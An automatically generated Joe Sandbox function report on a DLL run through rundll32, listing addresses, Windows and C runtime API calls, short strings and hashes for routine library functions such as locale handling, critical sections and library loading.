Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8
API String ID: 3069159798-905460609
Opcode ID: 87982d937ac6ebdb5a283f5bc56429e212a605fa33fc48f878455754156b73f4
Instruction ID: 411b108c764d4ace3e5c45deb51a3e56b7a9faa629776dbc87eeee4caed17a46
Opcode Fuzzy Hash: 87982d937ac6ebdb5a283f5bc56429e212a605fa33fc48f878455754156b73f4
Instruction Fuzzy Hash: D591697230878986FBA69B25D4413E923A5F78EBC0F44C129AE48477C6EF79CB59D340

Function 00000001800FABBC Relevance: 10.7, APIs: 7, Instructions: 171
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001800EFAF4: GetLastError.KERNEL32 ref: 00000001800EFB03
Part of subcall function 00000001800EFAF4: FlsGetValue.KERNEL32 ref: 00000001800EFB18
Part of subcall function 00000001800EFAF4: SetLastError.KERNEL32 ref: 00000001800EFBA3

Part of subcall function 00000001800EFAF4: FlsSetValue.KERNEL32 ref: 00000001800EFB39
Part of subcall function 00000001800EFAF4: FlsGetValue.KERNEL32 ref: 00000001800EFBD9

GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00000001800FAD2C

Part of subcall function 00000001800EFAF4: FlsSetValue.KERNEL32 ref: 00000001800EFB66
Part of subcall function 00000001800EFAF4: FlsSetValue.KERNEL32 ref: 00000001800EFB77
Part of subcall function 00000001800EFAF4: FlsSetValue.KERNEL32 ref: 00000001800EFB88
Part of subcall function 00000001800EFAF4: FlsSetValue.KERNEL32 ref: 00000001800EFBF8
Part of subcall function 00000001800EFAF4: FlsSetValue.KERNEL32 ref: 00000001800EFC20

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00000001800F114D), ref: 00000001800FAD13
ProcessCodePage.LIBCMT ref: 00000001800FAD56
IsValidCodePage.KERNEL32 ref: 00000001800FAD68
IsValidLocale.KERNEL32 ref: 00000001800FAD7E
GetLocaleInfoW.KERNEL32 ref: 00000001800FADDA
GetLocaleInfoW.KERNEL32 ref: 00000001800FADF6

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: 1e9adc1dda38233dd7b140b7e964661ef5807d0160702cade7f715b77bf8ccac
Instruction ID: 38b54266c759988556cf6e83805a3aea8ac390e25c82b98d870ebd1b39842dbf
Opcode Fuzzy Hash: 1e9adc1dda38233dd7b140b7e964661ef5807d0160702cade7f715b77bf8ccac
Instruction Fuzzy Hash: C571ACB2704B588AFB969B60C4547EC33A0BB4EB84F44C429AE0A577C5EF38DA49D350

Function 00000001800D2C10 Relevance: 9.1, APIs: 6, Instructions: 94libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,00000001800D24E2), ref: 00000001800D2C33
LoadLibraryW.KERNEL32(?,?,?,00000001800D24E2), ref: 00000001800D2C48
GetProcAddress.KERNEL32(?,?,?,00000001800D24E2), ref: 00000001800D2CAC
GetProcAddress.KERNEL32(?,?,?,00000001800D24E2), ref: 00000001800D2CCB
GetProcAddress.KERNEL32(?,?,?,00000001800D24E2), ref: 00000001800D2CEC
GetProcAddress.KERNEL32(?,?,?,00000001800D24E2), ref: 00000001800D2D0B

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: afd66515aa9948ed2773430afda3b35ef4169952e25126d91cfabf7fa8ba1592
Instruction ID: 5042ef007f360a4cb06860ac3989e26b2bf5c698eccc4f75d7074bb1ae39fa3f
Opcode Fuzzy Hash: afd66515aa9948ed2773430afda3b35ef4169952e25126d91cfabf7fa8ba1592
Instruction Fuzzy Hash: 2B411872605B8885EF9B8F22E5543AC67A0B76CFC4F18D121EE4A17B55DF3CCA698310

Function 00000001800DBA64 Relevance: 6.1, APIs: 4, Instructions: 83memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualAllocExNuma.KERNEL32 ref: 00000001800DBAF5
RtlVirtualUnwind.KERNEL32 ref: 00000001800DBB30
SetUnhandledExceptionFilter.KERNEL32 ref: 00000001800DBB73
UnhandledExceptionFilter.KERNEL32 ref: 00000001800DBB7E

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandledVirtual$AllocNumaUnwind
String ID:
API String ID: 4171051170-0
Opcode ID: d660c2806080f6d9061bc518b85ca7ecc7ca63128f146637c6a6910cbddaeea0
Instruction ID: 89a1bc4f4d59436b05440924b1a16579084504f17a163dcabdca63123fb111a8
Opcode Fuzzy Hash: d660c2806080f6d9061bc518b85ca7ecc7ca63128f146637c6a6910cbddaeea0
Instruction Fuzzy Hash: 1E317332214F8486DBA1CF25E8843DE73A4F7887A4F544216EE9D43BA9DF78C649CB10

Function 00000001800D65BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000001800D661D
OutputDebugStringW.KERNEL32 ref: 00000001800D6646

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00000001800D663F

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: DebugErrorLastOutputString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 4132100945-631824599
Opcode ID: 3b3216ce6001b72eff62068510a6f0b8e4e3afcdb252984c26514cbf29c63a7a
Instruction ID: 283167450af4393c368174901eda81c10499684aeee4801c6a5cb384dfff630c
Opcode Fuzzy Hash: 3b3216ce6001b72eff62068510a6f0b8e4e3afcdb252984c26514cbf29c63a7a
Instruction Fuzzy Hash: 55117732610B4497FB869B22E5493D932A1FB58755F40D115E64983A60EF78D278C710

Function 00000001800EFAF4 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000001800EFB03
FlsGetValue.KERNEL32 ref: 00000001800EFB18
FlsSetValue.KERNEL32 ref: 00000001800EFB39
FlsSetValue.KERNEL32 ref: 00000001800EFB66
FlsSetValue.KERNEL32 ref: 00000001800EFB77
FlsSetValue.KERNEL32 ref: 00000001800EFB88
SetLastError.KERNEL32 ref: 00000001800EFBA3
FlsGetValue.KERNEL32 ref: 00000001800EFBD9
FlsSetValue.KERNEL32 ref: 00000001800EFBF8

Part of subcall function 00000001800EED50: HeapAlloc.KERNEL32(?,?,00000000,00000001800EFD8A,?,?,?,00000001800DB982,?,?,?,00000001800DD477,?,?,00000000,00000001800EF007), ref: 00000001800EEDA5

FlsSetValue.KERNEL32 ref: 00000001800EFC20

Part of subcall function 00000001800EEDC8: HeapFree.KERNEL32(?,?,?,00000001800F93B6,?,?,?,00000001800F9733,?,?,00000000,00000001800F86D1,?,?,?,00000001800F8603), ref: 00000001800EEDDE
Part of subcall function 00000001800EEDC8: GetLastError.KERNEL32(?,?,?,00000001800F93B6,?,?,?,00000001800F9733,?,?,00000000,00000001800F86D1,?,?,?,00000001800F8603), ref: 00000001800EEDE8

FlsSetValue.KERNEL32 ref: 00000001800EFC31
FlsSetValue.KERNEL32 ref: 00000001800EFC42

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: be5eafdf0d6c21224e5684ca46b1bc47f03edf9f52fd97c148a08c08acd9a924
Instruction ID: 9ec4bcfaacd67bd7be5f2c6c23ff2cc11b1865c540bc1b41079cacaeb76c1345
Opcode Fuzzy Hash: be5eafdf0d6c21224e5684ca46b1bc47f03edf9f52fd97c148a08c08acd9a924
Instruction Fuzzy Hash: 98416F3030468D42FAEB673199A53FD52425F4D7F0F65C728BA366ABD2DE289B4D9300

Function 0000000180041E70 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180041EED
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0000000180041F35
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018004208C
Concurrency::cancel_current_task.LIBCPMT ref: 00000001800420BA
Concurrency::cancel_current_task.LIBCPMT ref: 00000001800420CD

Strings

false, xrefs: 0000000180041FBA
true, xrefs: 0000000180041FE9
bad locale name, xrefs: 00000001800420C0

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: std::_$Concurrency::cancel_current_taskLockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 461674175-1062449267
Opcode ID: 1a960a7bf9c5bdb67dcab4a702383698bc1a37f2da21523b0c3c2fa08cdc4277
Instruction ID: 7f4c0dd69d64a2e519a89c0408eed1bde46919adf4286db9a4fea514131e2538
Opcode Fuzzy Hash: 1a960a7bf9c5bdb67dcab4a702383698bc1a37f2da21523b0c3c2fa08cdc4277
Instruction Fuzzy Hash: 39718032701B448AFB96DFB0D4913DC33B5EB48788F458129AE4967B5ADF34C619C398

Function 0000000180099560 Relevance: 13.9, APIs: 9, Instructions: 407
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32 ref: 0000000180099588
GetExitCodeThread.KERNEL32 ref: 0000000180099596
GetLastError.KERNEL32 ref: 00000001800995A0

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CodeErrorExitLastObjectSingleThreadWait
String ID:
API String ID: 113644094-0
Opcode ID: 701ce82fddf24a6dc0cc6819650e4a14b1158c76ac60a64b1f577d277cb7041b
Instruction ID: d4a4ad110a7379173bcc36970285a8a200778f275078fe0ae0b16c97a83e6880
Opcode Fuzzy Hash: 701ce82fddf24a6dc0cc6819650e4a14b1158c76ac60a64b1f577d277cb7041b
Instruction Fuzzy Hash: E702AF72606B8885EB96CFA9E4443ED77A5F788BD8F148115EE4D03BA4DF78C649C340

Function 00000001800990C0 Relevance: 13.8, APIs: 9, Instructions: 313
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteCriticalSection.KERNEL32 ref: 0000000180099142
EnterCriticalSection.KERNEL32 ref: 0000000180099186
LeaveCriticalSection.KERNEL32 ref: 00000001800992D0
WaitForSingleObject.KERNEL32 ref: 0000000180099306
GetExitCodeThread.KERNEL32 ref: 0000000180099313
GetLastError.KERNEL32 ref: 000000018009931D
EnterCriticalSection.KERNEL32 ref: 0000000180099446
LeaveCriticalSection.KERNEL32 ref: 0000000180099533

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterLeave$CodeDeleteErrorExitLastObjectSingleThreadWait
String ID:
API String ID: 4073839270-0
Opcode ID: 59bc3c8af923ec3b693e2229fb2451515bb8e98908dc82d78f268815ce38a804
Instruction ID: e66330fb568cf6e2aa5611fb903b84894a8c80f55f8b343ffe77ccc30def8a2f
Opcode Fuzzy Hash: 59bc3c8af923ec3b693e2229fb2451515bb8e98908dc82d78f268815ce38a804
Instruction Fuzzy Hash: 62E15A32601B489AEB92CF65E4443DC37B5F348B98F558126EB8D47B95DF38C6A9C340

Function 000000018009BAC0 Relevance: 13.8, APIs: 9, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000180099C70: InitializeCriticalSection.KERNEL32 ref: 0000000180099CAA
Part of subcall function 0000000180099C70: InitializeCriticalSection.KERNEL32 ref: 0000000180099CB8
Part of subcall function 0000000180099C70: InitializeCriticalSection.KERNEL32 ref: 0000000180099CC6
Part of subcall function 0000000180099C70: InitializeCriticalSection.KERNEL32 ref: 0000000180099D13

InitializeCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,0000000180001219), ref: 000000018009BB64
InitializeCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,0000000180001219), ref: 000000018009BC71

Part of subcall function 00000001800D505C: Concurrency::cancel_current_task.LIBCPMT ref: 00000001800D508C
Part of subcall function 00000001800D505C: Concurrency::cancel_current_task.LIBCPMT ref: 00000001800D5092

InitializeCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,0000000180001219), ref: 000000018009BD04
InitializeCriticalSection.KERNEL32 ref: 000000018009BDFA
DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000180001219), ref: 000000018009BEA7
DeleteCriticalSection.KERNEL32 ref: 000000018009BF62
DeleteCriticalSection.KERNEL32 ref: 000000018009BF94
DeleteCriticalSection.KERNEL32 ref: 000000018009BF9F
DeleteCriticalSection.KERNEL32 ref: 000000018009BFAA

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Initialize$Delete$Concurrency::cancel_current_task
String ID:
API String ID: 3610250894-0
Opcode ID: a877f73eb4a0cc73d247b8665ae12c0b89afea62d282fefbff238ad0fbcf9c11
Instruction ID: 16dd56e71a98a8fe38ead4268d941e7a59e1ec6387c67001032f1325c4e9e75d
Opcode Fuzzy Hash: a877f73eb4a0cc73d247b8665ae12c0b89afea62d282fefbff238ad0fbcf9c11
Instruction Fuzzy Hash: 5ED17132405F8882E396CB20FD943D9B3E9FB9A790F51D21AD6DA42670DF78D698C740

Function 00000001800EFF24 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00000001800F0774,?,?,?,?,00000001800DB89A), ref: 00000001800F00A0
GetProcAddress.KERNEL32(?,?,?,00000001800F0774,?,?,?,?,00000001800DB89A), ref: 00000001800F00AC

Strings

ext-ms-, xrefs: 00000001800EFFFD
api-ms-, xrefs: 00000001800EFFEA

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: bb80c46524efd334e0948ec5fde6f5b3acf71997aa830e5d0c0555cb348075c0
Instruction ID: 9e20b040cd1b5661f49696f8373896ce597b257fd6a3f0defee87b89056d177f
Opcode Fuzzy Hash: bb80c46524efd334e0948ec5fde6f5b3acf71997aa830e5d0c0555cb348075c0
Instruction Fuzzy Hash: 0F41E032311A4886EB97CB16A8087E62391BB4DBE0F59D129BD0D577D4EE39CA4D9300

Function 000000018001F5C0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 93
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryActCtxW.KERNEL32 ref: 000000018001F629
GetModuleFileNameW.KERNEL32 ref: 000000018001F677
SetLastError.KERNEL32 ref: 000000018001F691
GetLastError.KERNEL32 ref: 000000018001F6E8
LoadLibraryW.KERNEL32 ref: 000000018001F756

Strings

p, xrefs: 000000018001F722
Comctl32.dll, xrefs: 000000018001F734, 000000018001F74F

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ErrorLast$FileLibraryLoadModuleNameQuery
String ID: Comctl32.dll$p
API String ID: 3104332706-195350848
Opcode ID: 34a2f0dbdd0e6ac07f7eb668994bf4ee3323e02dc5c56a4663ff06c3d7fa56c0
Instruction ID: 3af2e9fca6f2b8a444c29f43d75c3359d6cbe81a64a43693d8330885b9170935
Opcode Fuzzy Hash: 34a2f0dbdd0e6ac07f7eb668994bf4ee3323e02dc5c56a4663ff06c3d7fa56c0
Instruction Fuzzy Hash: C4413231218F4886F7A19B15F4983EA73A5F749BA4F908225E69D427E4DF7DC64CCB00

Function 00000001800DC260 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001800DC2A3
_invalid_parameter_noinfo.LIBCMT ref: 00000001800DC690
_invalid_parameter_noinfo.LIBCMT ref: 00000001800DC92C

Strings

f, xrefs: 00000001800DC3C5
p, xrefs: 00000001800DC355
p, xrefs: 00000001800DC3CD

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: ed79370b00d8e8658ded3e492e09794217c34b99c512f83fb9569cde87e5cc5f
Instruction ID: 96a00a691172ba3443d11c4982911cf9766be878af63e4870790c223ab62484d
Opcode Fuzzy Hash: ed79370b00d8e8658ded3e492e09794217c34b99c512f83fb9569cde87e5cc5f
Instruction Fuzzy Hash: A712947260424B86FBA65B14E054BFD72A1F7487D0FD8C215FA9147AC4DF38C6889F26

Function 0000000180099C70 Relevance: 10.8, APIs: 7, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32 ref: 0000000180099CAA
InitializeCriticalSection.KERNEL32 ref: 0000000180099CB8
InitializeCriticalSection.KERNEL32 ref: 0000000180099CC6
InitializeCriticalSection.KERNEL32 ref: 0000000180099D13

Part of subcall function 00000001800D505C: Concurrency::cancel_current_task.LIBCPMT ref: 00000001800D508C
Part of subcall function 00000001800D505C: Concurrency::cancel_current_task.LIBCPMT ref: 00000001800D5092

InitializeCriticalSection.KERNEL32 ref: 0000000180099F93
CreateSemaphoreW.KERNEL32 ref: 0000000180099FD8
InitializeCriticalSection.KERNEL32 ref: 000000018009A10F

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalInitializeSection$Concurrency::cancel_current_task$CreateSemaphore
String ID:
API String ID: 1489690303-0
Opcode ID: 073037f3f5bcf2f7dd3c5580214dcea6dca69115b8242414d5a9b36cdc0c840b
Instruction ID: bacc5767debf166278b71937d87c4d40db06fba7c828773fc2802f3724ac9812
Opcode Fuzzy Hash: 073037f3f5bcf2f7dd3c5580214dcea6dca69115b8242414d5a9b36cdc0c840b
Instruction Fuzzy Hash: 15E1F532201F849AE7968F24E8843CD77B8F749758F519229DB9D53B64EF38C6A9C340

Function 00000001800D4C5C Relevance: 9.2, APIs: 6, Instructions: 217
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32 ref: 00000001800D4CCF
MultiByteToWideChar.KERNEL32 ref: 00000001800D4D70
LCMapStringEx.KERNEL32 ref: 00000001800D4DD9
LCMapStringEx.KERNEL32 ref: 00000001800D4E2E
LCMapStringEx.KERNEL32 ref: 00000001800D4EF4
WideCharToMultiByte.KERNEL32 ref: 00000001800D4F4E

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 44485f7753f9c64bca2118c71e251ed8770b17291ac18f0f18f66950d9041ec7
Instruction ID: 5a97a349b29dd6e7b5ac608a3e284f06584119dc4d9a85b610e319804b2a6361
Opcode Fuzzy Hash: 44485f7753f9c64bca2118c71e251ed8770b17291ac18f0f18f66950d9041ec7
Instruction Fuzzy Hash: D091727360078486EBE68F2594403ADB2E5F748BE8F548725FE594BBD4DF38C6098710

Function 000000018003CD60 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000018003CD72
std::_Lockit::_Lockit.LIBCPMT ref: 000000018003CD95
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018003CDC1
std::_Facet_Register.LIBCPMT ref: 000000018003CE07
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018003CE31
Concurrency::cancel_current_task.LIBCPMT ref: 000000018003CE41

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
